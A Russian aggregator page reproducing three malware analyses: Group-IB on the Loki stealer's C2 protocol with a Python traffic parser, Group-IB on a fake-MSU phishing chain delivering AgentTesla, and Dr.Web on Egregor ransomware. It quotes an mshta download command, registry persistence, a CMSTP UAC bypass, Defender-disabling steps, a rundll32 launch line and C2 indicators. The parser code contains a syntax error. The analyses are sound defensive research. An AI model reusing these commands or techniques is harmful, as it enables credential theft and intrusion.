Русский
Русский
English
Авторизация
Ip-адрес
Восстановление пароля
Регистрация
Статистика
Реклама

Вредоносное по

Loki 1.8 досье на молодой и подающий надежды Data Stealer

16.09.2020 12:14:05 | Автор: admin


В середине июня борьба с коронавирусом в Казахстане была в самом разгаре. Встревоженные ростом числа заболевших (тогда заразился даже бывший президент Нурсултан Назарбаев), местные власти решились вновь позакрывать все торгово-развлекательные центры, сетевые магазины, рынки и базары. И в этот момент ситуацией воспользовались киберпреступники, отправившие по российским и международным компаниям вредоносную рассылку.

Опасные письма, замаскированную под обращение министра здравоохранения Республики Казахстан, перехватила система Threat Detection System (TDS) Group-IB. Во вложении письма находились документы, при запуске которых на компьютер устанавливалась вредоносная программа из семейства Loki PWS (Password Stealer), предназначенная для кражи логинов и паролей с зараженного компьютера. В дальнейшем злоумышленники могут использовать их для получения доступа к почтовым аккаунтам для финансового мошенничества, шпионажа или продать на хакерских форумах.

В этой статье Никита Карпов, аналитик CERT-GIB, рассматривает экземпляр одного из самых популярных сейчас Data Stealerов Loki.

Сегодня мы рассмотрим одну из популярных версий бота 1.8. Она активно продается, а админ панель можно найти даже в открытом доступе: здесь.

Пример админ-панели:



Loki написан на языке C++ и является одним из самых популярных ВПО, используемых для похищения пользовательской информации с зараженного компьютера. Как и бич нашего времени вирусы-шифровальщики Data Stealer после попадания на компьютер жертвы с очень большой скоростью выполняют поставленную задачу ему не надо закрепляться и повышать свои привилегии в системе, он практически не оставляет времени на защиту от атаки. Поэтому в событиях с ВПО, которое похищает пользовательские данные, главную роль играет расследование инцидента.

Распаковка и получение работоспособного дампа ВПО


Распространение в большинстве случаев происходит через вложения в рассылках писем. Пользователь под видом легитимного файла загружает и открывает вложение, запуская работу ВПО.

По маркеру инжекта можно предположить о наличии Loader.


С помощью DIE получаем информацию, что исходный файл написан на VB6.


График энтропии свидетельствует о большом количестве зашифрованных данных.


При запуске первый процесс создает дочерний, совершает инжект и завершает свою работу. Второй процесс отвечает за работу ВПО. После небольшого промежутка времени останавливаем работу процесса и сохраняем дамп памяти. Чтобы подтвердить, что внутри дампа находится Loki, ищем внутри url командного центра, который в большинстве случаев оканчивается на fre.php.


Выполняем дамп фрагмента памяти, содержащего Loki, и производим корректировку PE-заголовка.

Работоспособность дампа проверим с помощью системы TDS Huntbox.


Функционал бота


В процессе исследования декомпилированного кода ВПО находим часть, содержащую четыре функции, идущие сразу после инициализации необходимых для работы библиотек. Разобрав каждую из них внутри, определяем их назначение и функциональность нашего ВПО.


Названия функций для удобства были переименованы в более информативные.
Функционал бота определяется двумя главными функциями:

  1. Data Stealer первая функция, отвечающая за похищение данных из 101 приложения и отправку на сервер.
  2. Downloader запрос от CnC (Command & Control) команд для исполнения.

Для удобства в таблице, приведенной ниже, представлены все приложения, из которых исследуемый экземпляр Loki пытается похитить данные.
ID функции Приложение ID функции Приложение ID функции Приложение
1 Mozilla Firefox 35 FTPInfo 69 ClassicFTP
2 Comodo IceDragon 36 LinasFTP 70 PuTTY/KiTTY
3 Apple Safari 37 FileZilla 71 Thunderbird
4 K-Meleon 38 Staff-FTP 72 Foxmail
5 SeaMonkey 39 BlazeFtp 73 Pocomail
6 Flock 40 NETFile 74 IncrediMail
7 NETGATE BlackHawk 41 GoFTP 75 Gmail notifier pro
8 Lunascape 42 ALFTP 76 Checkmail
9 Google Chrome 43 DeluxeFTP 77 WinFtp
10 Opera 44 Total Commander 78 Martin Prikryl
11 QTWeb Browser 45 FTPGetter 79 32BitFtp
12 QupZilla 46 WS_FTP 80 FTP Navigator
13 Internet Explorer 47 Mail Client configuration files 81 Mailing
(softwarenetz)
14 Opera 2 48 Full Tilt Poker 82 Opera Mail
15 Cyberfox 49 PokerStars 83 Postbox
16 Pale Moon 50 ExpanDrive 84 FossaMail
17 Waterfox 51 Steed 85 Becky!
18 Pidgin 52 FlashFXP 86 POP3
19 SuperPutty 53 NovaFTP 87 Outlook
20 FTPShell 54 NetDrive 88 Ymail2
21 NppFTP 55 Total Commander 2 89 Trojit
22 MyFTP 56 SmartFTP 90 TrulyMail
23 FTPBox 57 FAR Manager 91 .spn Files
24 sherrod FTP 58 Bitvise 92 To-Do Desklist
25 FTP Now 59 RealVNC
TightVNC		 93 Stickies
26 NexusFile 60 mSecure Wallet 94 NoteFly
27 Xftp 61 Syncovery 95 NoteZilla
28 EasyFTP 62 FreshFTP 96 Sticky Notes
29 SftpNetDrive 63 BitKinex 97 KeePass
30 AbleFTP 64 UltraFXP 98 Enpass
31 JaSFtp 65 FTP Now 2 99 My RoboForm
32 Automize 66 Vandyk SecureFX 100 1Password
33 Cyberduck 67 Odin Secure FTP Expert 101 Mikrotik WinBox
34 Fullsync 68 Fling
На этом этапе завершен статический анализ ВПО и в следующем разделе рассмотрим, как Loki общается с сервером.

Сетевое взаимодействие


Для записи сетевого взаимодействия необходимо решить две проблемы:

  1. Командный центр доступен только на момент проведения атаки.
  2. Wireshark не фиксирует коммуникации бота в loopback, поэтому нужно пользоваться другими средствами.

Самое простое решение переадресовать адрес CnC, с которым Loki будет устанавливать коммуникацию, на localhost. Для бота сервер теперь доступен в любое время, хоть и не отвечает, но для записи коммуникаций бота это и не нужно. Для решения второй проблемы воспользуемся утилитой RawCap, которая позволяет записать в pcap необходимые нам коммуникации. Далее записанный pcap будем разбирать уже в Wireshark.


Перед каждой коммуникацией бот проверяет доступность CnC и, если он доступен открывает socket. Все сетевые коммуникации проходят на транспортном уровне по протоколу TCP, а на прикладном используется HTTP.

В таблице ниже представлены заголовки пакета, которые стандартно использует Loki.
Поле Значение Описание
User-agent Mozilla/4.08 (Charon; Inferno) Характерный юзерагент для Loki
Accept */*
Content-Type application/octet-stream
Content-Encoding binary
Content-Key 7DE968CC Результат хеширования предыдущих заголовков (хеширование происходит кастомным алгоритмом CRC с полиномом 0xE8677835)
Connection close
Обратим внимание на body пакета:

  1. Структура записанных данных зависит от версии бота, и в более ранних версиях отсутствуют поля, которые отвечают за опции шифрования и компрессии.
  2. По типу запроса сервер определяет, как обрабатывать полученные данные. Существует 7 типов данных, которые может прочитать сервер:
    • 0x26 Похищенные данные кошельков
    • 0x27 Похищенные данные приложений
    • 0x28 Запрос команд от сервера
    • 0x29 Выгрузка похищенного файла
    • 0x2A POS
    • 0x2B Данные кейлоггера
    • 0x2C Скриншот
  3. В исследованном экземпляре присутствовали только 0x27, 0x28 и 0x2B.
  4. В каждом запросе есть общая информация о боте и зараженной системе, по которой сервер идентифицирует все отчеты по одной машине, а после идет информация, которая зависит от типа запроса.
  5. В последней версии бота реализовано только сжатие данных, а поля с шифрованием заготовлены на будущее и не обрабатываются сервером.
  6. Для сжатия данных используется открытая библиотека APLib.

При формировании запроса с похищенными данными бот выделяет буфер размером 0x1388 (5000 байт). Структура запросов 0x27 представлена в таблице ниже:
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0027 Тип запроса (отправка похищенных данных)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 -
0x5B 0x2 0x0000 Отправлялись ли похищенные данные
0x5D 0x2 0x0001 Использовалось ли сжатие данных
0x5F 0x2 0x0000 Тип сжатия
0x61 0x2 0x0000 Использовалось ли шифрование данных
0x63 0x2 0x0000 Тип шифрования
0x65 0x36 - MD5 от значения регистра MachineGuid
0x9B - - Сжатые похищенные данные
Второй этап взаимодействия с сервером начинается после закрепления в системе. Бот отправляет запрос с типом 0x28, структура которого представлена ниже:

Размер буфера: 0x2BC (700 байт)
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0028 Тип запроса (запрос команд от командного центра)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 0xFED0
0x5B 0x36 - MD5 от значения регистра MachineGuid
После запроса бот ожидает получить ответ от сервера, содержащий количество и сами команды. Возможные варианты команд получены с помощью статического анализа декомпилированного кода ВПО и представлены ниже.

Размер буфера: 0x10 (16 байт) + 0x10 (16 байт) за каждую команду в пакете.
HTTP- заголовок (начало данных) \r\n\r\n [0D 0A 0D 0A] 4 байта
Суммарная длина данных - - 4 байта
Количество команд 2 [00 00 00 02] 4 байта
Команда Пропускаемые байты
4 байта		 Команды
4 байта		 Пропускаемые байты
4 байта		 Длина передаваемой строки
4 байта
 Передаваемая строка
(пример)
#0
Загрузка и запуск EXE-файла		 [00 00 00 00] [00 00 00 00] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#1
Загрузка библиотеки DLL		 [00 00 00 00] [00 00 00 01] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.dll
#2
Загрузка EXE-файла		 [00 00 00 00] [00 00 00 02] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#8
Удаление базы данных хешей (HDB file)		 [00 00 00 00] [00 00 00 08] [00 00 00 00] [00 00 00 00] -
#9
Старт кейлоггера		 [00 00 00 00] [00 00 00 09] [00 00 00 00] [00 00 00 00] -
#10
Похищение данных и отправка на сервер		 [00 00 00 00] [00 00 00 0A] [00 00 00 00] [00 00 00 00] -
#14
Завершение работы Loki		 [00 00 00 00] [00 00 00 0E] [00 00 00 00] [00 00 00 00] -
#15
Загрузка новой версии Loki и удаление старой		 [00 00 00 00] [00 00 00 0F] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#16
Изменение частоты проверки ответа от сервера		 [00 00 00 00] [00 00 00 10] [00 00 00 00] [00 00 00 01] 5
#17
Удалить Loki и завершить работу		 [00 00 00 00] [00 00 00 11] [00 00 00 00] [00 00 00 00] -

Парсер сетевого трафика


Благодаря проведенному анализу у нас есть вся необходимая информация для парсинга сетевых взаимодействий Loki.

Парсер реализован на языке Python, на вход получает pcap-файл и в нем находит все коммуникации, принадлежащие Loki.

Для начала воспользуемся библиотекой dkpt для поиска всех TCP-пакетов. Для получения только http-пакетов поставим фильтр на используемый порт. Среди полученных http-пакетов отберем те, что содержат известные заголовки Loki, и получим коммуникации, которые необходимо распарсить, чтобы извлечь из них информацию в читаемом виде.

for ts, buf in pcap:    eth = dpkt.ethernet.Ethernet(buf)    if not isinstance(eth.data, dpkt.ip.IP):        ip = dpkt.ip.IP(buf)    else:        ip = eth.data     if isinstance(ip.data, dpkt.tcp.TCP):        tcp = ip.data        try:            if tcp.dport == 80 and len(tcp.data) > 0:  # HTTP REQUEST                if str(tcp.data).find('POST') != -1:                    http += 1                    httpheader = tcp.data                    continue                else:                    if httpheader != "":                        print('Request information:')                         pkt = httpheader + tcp.data                        httpheader = ""                        if debug:                            print(pkt)                        req += 1                        request = dpkt.http.Request(pkt)                        uri = request.headers['host'] + request.uri                        parsed_payload['Network']['Source IP'] = socket.inet_ntoa(ip.src)                        parsed_payload['Network']['Destination IP'] = socket.inet_ntoa(ip.dst)                        parsed_payload_same['Network']['CnC'] = uri                        parsed_payload['Network']['HTTP Method'] = request.method                         if uri.find("fre.php"):                            print("Loki detected!")                        pt = parseLokicontent(tcp.data, debug)                        parsed_payload_same['Malware Artifacts/IOCs']['User-Agent String'] = request.headers['user-agent']                         print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))                        parsed_payload['Network'].clear()                        parsed_payload['Compromised Host/User Data'].clear()                        parsed_payload['Malware Artifacts/IOCs'].clear()                        print("----------------------")            if tcp.sport == 80 and len(tcp.data) > 0:  # HTTP RESPONCE                resp += 1                if pt == 40:                    print('Responce information:')                    parseC2commands(tcp.data, debug)                    print("----------------------")                    pt = 0        except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):            continue

Во всех запросах Loki первые 4 байта отвечают за версию бота и тип запроса. По этим двум параметрам определяем, как будем обрабатывать данные.

def parseLokicontent(data, debug):    index = 0     botV = int.from_bytes(data[0:2], byteorder=sys.byteorder)    parsed_payload_same['Malware Artifacts/IOCs']['Loki-Bot Version'] =  botV     payloadtype = int.from_bytes(data[2:4], byteorder=sys.byteorder)    index = 4    print("Payload type: : %s" % payloadtype)    if payloadtype == 39:        parsed_payload['Network']['Traffic Purpose'] =  "Exfiltrate Application/Credential Data"        parse_type27(data, debug)    elif payloadtype == 40:        parsed_payload['Network']['Traffic Purpose'] = "Get C2 Commands"        parse_type28(data, debug)    elif payloadtype == 43:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Keylogger Data"        parse_type2b(lb_payload)    elif payloadtype == 38:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Cryptocurrency Wallet"    elif payloadtype == 41:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Files"    elif payloadtype == 42:        parsed_payload['Network'].['Traffic Purpose'] = "Exfiltrate POS Data"    elif payloadtype == 44:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Screenshots"     return payloadtype

Следующим в очереди будет разбор ответа от сервера. Для считывания только полезной информации ищем последовательность \r\n\r\n, которая определяет конец заголовков пакета и начало команд от сервера.

def parseC2commands(data, debug):    word = 2    dword = 4    end = data.find(b'\r\n\r\n')    if end != -1:        index = end + 4        if (str(data).find('<html>')) == -1:            if debug:                print(data)            fullsize = getDWord(data, index)            print("Body size: : %s" % fullsize)            index += dword            count = getDWord(data, index)            print("Commands: : %s" % count)            if count == 0:                print('No commands received')            else:                index += dword                for i in range(count):                    print("Command: %s" % (i + 1))                     id = getDWord(data, index)                    print("Command ID: %s" % id)                    index += dword                     type = getDWord(data, index)                    print("Command type: %s" % type)                    index += dword                     timelimit = getDWord(data, index)                    print("Command timelimit: %s" % timelimit)                    index += dword                     datalen = getDWord(data, index)                    index += dword                     command_data = getString(data, index, datalen)                    print("Command data: %s" % command_data)                    index += datalen        else:            print('No commands received')    return None

На этом заканчиваем разбор основной части алгоритма работы парсера и переходим к результату, который получаем на выходе. Вся информация выводится в json-формате.

Ниже представлены изображения результата работы парсера, полученные из коммуникаций различных ботов, с разными CnC и записанные в разных окружениях.

Request information:Loki detected!Payload type: 39Decompressed data: {'Module': {'Mozilla Firefox'}, 'Version': {0}, 'Data': {'domain': {'https://accounts.google.com'}, 'username': {'none@gmail.com'}, 'password': {'test'}}}{'Module': {'NppFTP'}, 'Version': {0}, 'Data': {b'<?xml version="1.0" encoding="UTF-8" ?>\r\n<NppFTP defaultCache="%CONFIGDIR%\\Cache\\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.5" clearCache="0" clearCachePermanent="0">\r\n    <Profiles />\r\n</NppFTP>\r\n'}}{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Application/Credential Data",        "First Transmission": true    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

Выше представлен пример запроса на сервер 0x27 (выгрузка данных приложений). Для тестирования были созданы аккаунты в трех приложениях: Mozilla Firefox, NppFTP и FileZilla. У Loki существует три варианта записи данных приложений:

  1. В виде SQL-базы данных (парсер сохраняет базу данных и выводит все доступные строки в ней).
  2. В открытом виде, как у Firefox в примере.
  3. В виде xml-файла, как у NppFTP и FileZilla.

Request information:Loki detected!Payload type: 39No data stolen{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Application/Credential Data",        "First Transmission": false    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

Второй запрос имеет тип 0x28 и запрашивает команды от сервера.

Responce information:Body size: 26Commands: 1Command: 1Command ID: 0Command type: 9Command timelimit: 0Command data: 35

Пример ответа от CnC, который отправил в ответ одну команду на старт кейлоггера. И последующая выгрузка данных кейлоггера.

Request information:Loki detected!Payload type: : 43{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Keylogger Data"    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

В конце работы парсер выводит информацию, которая содержится в каждом запросе от бота (информацию о боте и о системе), и количество запросов и ответов, связанных с Loki в pcap-файле.

General information:{    "Network": {        "CnC": "nganyin-my.com/chief6/five/fre.php"    },    "Compromised Host/User Description": {        "User Name": "-",        "Hostname": "-",        "Domain Hostname": "-",        "Screen Resolution": "1024x768",        "Local Admin": true,        "Built-In Admin": true,        "64bit OS": false,        "Operating System": "Windows 7 Workstation"    },    "Malware Artifacts/IOCs": {        "Loki-Bot Version": 18,        "Binary ID": "ckav.ru",        "MD5 from GUID": "-",        "User-Agent String": "Mozilla/4.08 (Charon; Inferno)"    }}Requests: 3Responces: 3


Полный код парсера доступен по ссылке: github.com/Group-IB/LokiParser

Заключение


В этой статье мы ближе познакомились с ВПО Loki, разобрали его функционал и реализовали парсер сетевого трафика, который значительно упростит процесс анализа инцидента и поможет понять, что именно было похищено с зараженного компьютера. Хотя разработка Loki все еще продолжается, была слита только версия 1.8 (и более ранние), именно с этой версией специалисты по безопасности сталкиваются каждый день.

В следующей статье мы разберем еще один популярный Data Stealer, Pony, и сравним эти ВПО.

Indicator of Compromise (IOCs):


Urls:

  • nganyin-my.com/chief6/five/fre.php
  • wardia.com.pe/wp-includes/texts/five/fre.php
  • broken2.cf/Work2/fre.php
  • 185.141.27.187/danielsden/ver.php
  • MD5 hash: B0C33B1EF30110C424BABD66126017E5
  • User-Agent String: Mozilla/4.08 (Charon; Inferno)
  • Binary ID: ckav.ru
Подробнее..
Категории: Информационная безопасность , It-инфраструктура , Реверс-инжиниринг , Исследования и прогнозы в it , Блог компании group-ib , Malware , Анализ кода , Впо , Вредонос , Вредоносное по , Stealer , Стилер , Вредоносное программное обеспечение , Анализ вирусов , Анализ вредоносов , Анализ вредоносного по

След протектора как киберпреступники прятали стилеры в презентации от подрядчика МГУ

14.12.2020 14:08:42 | Автор: admin


"Привет из МГУ. М.В.Ломоносов,
Внимание: по рекомендации вашей компании мы выступаем в качестве подрядчика МГУ. М.В.Ломоносова под руководством доктора философских наук. Виктор Антонович Садовничий. Нам нужно ваше предложение по нашему бюджету на 2020 год (прилагается). Подайте заявку не позднее 09 ноября 2020 года. Спасибо и всего наилучшего".

Получатель этого странного послания, даже очень далекий от научных кругов, сразу обратит внимание на две вещи: как безграмотно оно написано, а, во-вторых, ректор МГУ может быть философом лишь по состоянию души Виктор Антонович на самом деле доктор физико-математических наук, но никак не философских.

СERT Group-IB подтвердил догадку сентябрьские почтовые рассылки от имени руководства МГУ им. М.В. Ломоносова фейковые, более того они несли на борту популярные вредоносные программы для кражи данных (Data Stealer) Loki или AgentTesla Однако сегодняшний пост не про них, а об одном незаметном помощнике протекторе, которые защищает программы-шпионы от обнаружения. О том, какие техники использует этот протектор и как аналитикам удалось сквозь них добраться до исполняемого файла AgentTesla, рассказывает Илья Померанцев, руководитель группы исследований и разработки CERT-GIB .

Механизм распространения


В самом фишинговым письме его можно хорошенько рассмотреть на скриншоте ниже отправитель представляется подрядчиком вуза и предлагает утвердить бюджет. Среди получателей сообщения финансовые, промышленные и государственные организации России.
Хотя текст написан на русском языке, грубые орфографические, грамматические и стилистические ошибки наводят на мысль о том, что атакующие не носители языка. И, скорее всего, они использовали для составления писем машинный перевод.


В письме два идентичных вложения с разными расширениями:


Заражение


Исходный файл презентация PowerPoint в формате ppt. Дата последнего редактирования 5 ноября, а автором указан некто Masterofyourfather.


В документе три небольших VBA-макроса, которые приведут к выполнению команды:

mshta http://%748237%728748@j[.]mp/aksnkwsfvyudnddwid


Сокращатель ссылок j.mp перенаправит на ресурс ninjaminjatumhmmkk.blogspot[.]com/p/8a9.html.

При открытии страницы, на первый взгляд, может показаться, что автор еще не разместил полезную нагрузку и дальнейший анализ невозможен.


Однако наша система Group- IB
Threat Hunting Framework и ее модуль Polygon, позволяющий осуществлять поведенческий анализ файлов, извлекаемых из электронных писем, опровергла это предположение, продемонстрировав, как развивается атака дальше.


Если заглянуть в исходный код страницы становится ясна причина такой скрытности. Ресурс Blogspot позволяет вставлять script-теги в теле блога. А поскольку все современные браузеры по умолчанию игнорируют скрипты на VBscript, при обычном открытии страницы ничего не происходит.


Базовый скрипт


Базовый скрипт совмещает три задачи:

  1. Закрепление в системе
  2. Обход систем защиты
  3. Загрузка основного модуля

Рассмотрим каждый пункт в отдельности.

Закрепление в системе


Для персистентности ВПО использует механизм безфайлового закрепления. Для этого в реестре в ветке HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ создаются ключи со значениями mshta vbscript:Execute({Тело скрипта VBS}). Это позволяет хранить полезную нагрузку целиком в реестре, при этом реализуя автозапуск.


Также реализована альтернативная возможность автозапуска через отложенную задачу (строчка 21 на скриншоте сверху). По указанным ссылкам расположены страницы Blogspot с полезной нагрузкой, размещаемой аналогично исходной. На момент анализа ни по одной ссылке вредоносного кода не оказалось.


Ссылки:

  • zoomba619.blogspot[.]com/p/5e.html
  • dodumdum6.blogspot[.]com/p/8a9.html
  • milltu99.blogspot[.]com/p/4w5.html
  • potatokapoli.blogspot[.]com/p/5e.html

Загрузчик основного модуля закрепляется в ветке HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ в ключе sexformoneyforsex, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу HKCU\Software\juggga.


Модуль обхода встроенных систем защиты Windows закрепляется аналогично по ключу Defeduckgotfucked, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу HKCU\Software\phuttalylo.


Обход систем защиты


Модуль обхода встроенных систем защиты Windows хранится в реестре в обфусцированном виде. Полезная загрузка записана строкой в виде ASCII-кодов, разделенных символом -. После декодирования нас ждет еще один простой скрипт, который содержит отраженную Base64-строку, в которой символ 0 заменен на ..


В итоге мы получим небольшое .NET-приложение.


Основной класс CMSTPBypass выдает механизм работы файла.

CMSTP это приложение, связанное с установщиком профиля Microsoft Connection Manager. Оно принимает файлы INF, которые могут быть снабжены вредоносными командами для выполнения произвольного кода в форме скриптлетов (SCT) и DLL. Это доверенное приложение Microsoft.

ВПО сохраняет в папку %Temp% файл inf с произвольным именем и следующим содержимым:


Строка REPLACE_COMMAND_LINE будет заменена на команду запуска vbs-скрипта из папки %Temp%, который ВПО извлечет из своей секции ресурсов.

В коде можно заметить упоминание NyanCat, автора известных крипторов и data stealer'ов. В его официальном репозитории на GitHub мы нашли исходный код модуля. Видимо, его позаимствовали атакующие.


Запуск осуществляется через c:\windows\system32\cmstp.exe, после чего ВПО начинает отслеживать появление окна cmstp, чтобы послать ему нажатие клавиши ENTER.
Запущенный VBS-скрипт фактически снижает встроенную защиту Windows до нуля:

  1. Если скрипт запущен не с правами администратора он будет перезапущен с повышением привилегий.
  2. Для Windows Defender применяются следующие настройки:

  3. В исключения Windows Defender целиком добавляются диски C:\ и D:\, а также процессы Msbuild.exe, Calc.exe, powershell.exe, wscript.exe, mshta.exe, cmd.exe.
  4. Отключается UAC.
  5. Для пакетов MS Office версий от 11.0 до 16.0 отключаются все настройки безопасности.

Загрузка основного модуля


Загрузчик размещается в реестре по ключу HKCU\Software\juggga. Хотя ВПО предусматривает его автозапуск после перезагрузки, он будет также исполнен во время работы основного скрипта. Для этого запустится оболочка PowerShell в скрытом окне:


Механизм обфускации загрузчика аналогичен рассмотренному в предыдущем разделе:



Загрузка осуществляется по ссылке paste[.]ee/r/ZonQw:


После декодирования получаем исполняемый файл, который представляет собой обновленную версию уже знакомого нам AgentTesla.

Agent Tesla это модульное программное обеспечение для шпионажа, распространяемое по модели malware-as-a-service под видом легального кейлоггер-продукта. Agent Tesla способен извлекать и передавать на сервер злоумышленникам учетные данные пользователя из браузеров, почтовых клиентов и клиентов FTP, регистрировать данные буфера обмена, захватывать экран устройства.


Заключение


Мы рассмотрели любопытный протектор, вобравший в себя большое количество различных технологий по противодействию существующим системам защиты для конечных устройств. Если в организации нет современных систем, способных полностью автоматизировано останавливать целевые атаки на организацию, и детонировать принудительно вскрывать подозрительные почтовые рассылки в изолированной среде, то рассмотренное ВПО позволит протащить на машину и закрепить в системе любую полезную нагрузку, даже такой хорошо известный и выявляемый большинством антивирусов data stealer, как AgentTesla.
Подробнее..
Категории: Информационная безопасность , It-компании , Реверс-инжиниринг , Исследования и прогнозы в it , Cybersecurity , Блог компании group-ib , Вредоносы , Впо , Information security , Компьютерная криминалистика , Cybercriminalistics , Вредоносное по , Вредоносное программное обеспечение , Cybercrime , Реверс инжиниринг , Протектор , Protector , Cyberattack

На волне тренда. Egregor ransomware шифровальщик для целевых атак

13.01.2021 10:12:44 | Автор: admin


На исходе каждого года, а также в первые дни января любая отрасль коллективно обсуждает тенденции и прогнозы, которые будут формировать нашу действительность на протяжении всего календаря. Большая и дружная IT-индустрия и, в частности, сфера информационной безопасности в лице многочисленных экспертов, энтузиастов и комьюнити активно протирают хрустальные шары и делятся видением ситуации. В основном в наступившем 2021-м предрекают дальнейшее распространение цифрового вымогательства, а точнее целевых атак на крупные компании с целью не менее крупного шантажа.

Мы в Доктор Веб не очень любим давать прогнозы, но в ушедшем году атаки шифровальщиков сформировали настолько явную тенденцию, что есть все основания полагать: наконец-то предновогоднее предсказание сработает. Что, конечно же, добавит работы всем нам.
В качестве небольшой иллюстрации мы решили опубликовать небольшой разбор шифровальщика, который впервые был обнаружен в сентябре прошлого года, но уже успел натворить много бед. Его образец оказался в нашей вирусной лаборатории, после чего был подвергнут стандартной процедуре.


Что за Egregor?


Предыстории подробно касаться не будем о происхождении этой вредоносной программы написано достаточно. Она является дальнейшим развитием шифровальщиков Maze и Sekhmet, с которыми имеет много общего. Как и Maze, Egregor стал распространяться по модели Ransomware-as-a-Service и использоваться операторами для целевых атак на корпоративный сектор. Помимо известных IT-компаний (Crytek, Ubisoft) от шифровальщика также пострадал крупный чилийский ритейлер, причем принтеры в скомпрометированной сети начали печатать записки о выкупе.

Характерно, что злоумышленники при этом утверждали, что им удалось украсть конфиденциальные данные пострадавшей компании, и шантажировали публикацией этой информации. Стоит отметить, что в рассмотренном образце мы не обнаружили никакой иной функциональности, кроме шифрования файлов. В целевой атаке сам троян был полезной нагрузкой, при этом его внедрение и прочие вредоносные действия (если они были) реализовывались сторонними средствами.

Наш образец (f73e31d11f462f522a883c8f8f06d44f8d3e2f01) представляет собой исполняемую библиотеку, написанную на C++. Для шифрования пользовательских файлов используются алгоритмы ChaCha20 и RSA. В настоящий момент расшифровка пострадавших файлов невозможна.

Принцип действия


Исследованный образец представляет собой исполняемый DLL-файл с оригинальной точкой входа и тремя экспортами:



Статический анализ кода показывает, что вредоносная активность содержится в функции DllRegisterServer. При запуске образца на виртуальных машинах троян не выполняется. Поскольку шифровальщик предназначен для целевых атак, мы полагаем, что он запускается по команде через командную строку. Для начального запуска используется команда rundll32.exe C:\Windows\%SAMPLE%,DllRegisterServer -passegregor10.

После этого троян запускает полезную нагрузку, предварительно расшифровав ее по тому же алгоритму, который используется для шифрования пользовательских файлов (ChaCha20). Однако в этом случае ключ и одноразовый код (nonce) лежат в открытом доступе. Для расшифровки необходимы 32-байтная строка KojihuDJUFDHGufhdjnbgDfgudfhdfg3 в качестве ключа и 8-байтная строка O_IJDhfs в качестве nonce:



Содержимое полезной нагрузки зашито в теле трояна и зашифровано:



Полезная нагрузка представляет собой загрузчик в виде powershell-скрипта, который подключается к amajai-technologies.industries. На момент анализа этот сервер уже не отвечал, и загружаемый файл остается неизвестным. При этом стоит отметить, что через него операторы шифровальщика могли похищать информацию. Функциональность управления принтерами для печати записок о выкупе в исследованном образце не найдена и, возможно, содержится в загружаемом файле.



Для запуска дальнейшего шифрования используется пакетный файл, который запускает рассматриваемый образец с функцией DllRegisterServer, но с другими параметрами командной строки:



Полезная нагрузка в системе маскируется под продукты компании LogMeIn:



Следует отдельно отметить, что шифровальщик использует именно алгоритм ChaCha20 (разновидность шифра Salsa20), а не AES, как написано в некоторых источниках. Это подтверждается строками expand 16-byte k и expand 32-byte k:



На использование ChaCha20 также указывает алгоритм шифрования в функции quarter-round:



Ниже представлено сравнение quarter-round Salsa20 (слева) и ChaCha20 (справа):



Для генерации самого ключа используется функция RtlGenRandom через вызов SystemFunction036. Генератор на основе RtlGenRandom оценивается как криптостойкий. Подбор ключей в этом случае невозможен:



Большая часть кода написана вручную и обфусцирована, что многократно затрудняет анализ. Данные об оригинальном расположении проекта содержатся в отладочной информации: M:\sc\p\testbuild.pdb.

Одна из особенностей шифровальщика в том, что расширения каждого файла отличаются даже в пределах одного компьютера. Аналогично Sekhmet, для каждого файла используется новое случайное расширение. Для идентификации зашифрованных файлов используется файловый маркер из четырех DWORD в конце файла (EOF): 00 00 00 00, 00 00 XX XX, 00 00 XX XX, XX XX 6B B1 (байты вместо XX отличаются для каждого файла). По этим значениям можно определить, что файл был заражен именно этим шифровальщиком.



